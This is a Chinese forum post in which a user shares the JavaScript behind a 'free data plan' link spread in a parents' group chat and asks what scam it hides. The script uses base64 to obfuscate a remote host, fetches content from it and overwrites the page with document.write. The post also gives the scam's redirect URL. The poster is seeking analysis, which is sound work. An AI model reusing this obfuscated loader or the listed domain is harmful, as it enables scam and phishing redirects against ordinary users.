刚在家长群里发现一个送流量包的网址

先上代码：

function clientSideInclude(url) {
    var req = false;
    if (window.XMLHttpRequest) {
        try {
            req = new XMLHttpRequest();
        } catch (e) {
            req = false;
        }
    } else if (window.ActiveXObject) {
        try {
            req = new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
            try {
                req = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e) {
                req = false;
            }
        }
    }
    var element = document.getElementsByTagName("body")[0];
    if (!element) {
        alert("页面加载错误！！！！");
        return;
    }
    if (req) {
        req.open('GET', window.atob(url) + window.atob('aWQ9MSZ0dWk9ZmFsc2UmbW9kdWxlPXNldF9jJnNoYXJlaWQ9MTAwLDEwMSZtb2RlbD0yJnd4aWQ9MTA3JmRvbWFpbmlkPTExMSZ1cmw9aHR0cDovL2pyd3Buc2RjLmtvbmdxdWVjaGVuZ2RjLmNvbS80ZjVjTkpOTWV0cklELUFYeUZ6S0pZVFZ0VnBXNkdvd01OUmItUlBrUndCSURnZVNyN2VjTFU0aFIxcUR0MXR5bG1wTGVtT1VqOElmMV91UmtvVmhFRVFqdFRQZExjNTBiOTQ1RDNKVi1lY1hHLVFDY0d4X3FvTTd0Y2RQNjVUakdGb0VKM0Ft'), false);
        req.send(null);
        if (req.status == 404) {
            alert("页面加载错误！！！！");
        } else {
            var doc = document.open('text/html', 'replace');
            // window.history.pushState({},0,'http://'+location.host);
            doc.write(req.responseText);
            doc.close();
        }
    } else {
        element[0].innerHTML = "页面加载错误！！！！";
    }
}
clientSideInclude("aHR0cDovL2pyd3Buc2RjLmtvbmdxdWVjaGVuZ2RjLmNvbS9zaG93X2M/");

发网址的人撤回的太快，那一瞬间，潜意识地在浏览器上打开，就跳转到新的地址（ http 开头 jrwpnsdc[点]kongquechengdc[点]com[斜杠]4f5cNJNMetrID-AXyFzKJYTVtVpW6GowMNRb-RPkRwBIDgeSr7ecLU4hR1qDt1tylmpLemOUj8If1_uRkoVhEEQjtTPdLc50b945D3JV-ecXG-QCcGx_qoM7tcdP65TjGFoEJ3Am#1556588699023 ）了。PC 端打开这个地址，直接随机跳转到某个网站，移动端就是下面的截图。这里大佬多，给看看到底是啥幺蛾子。
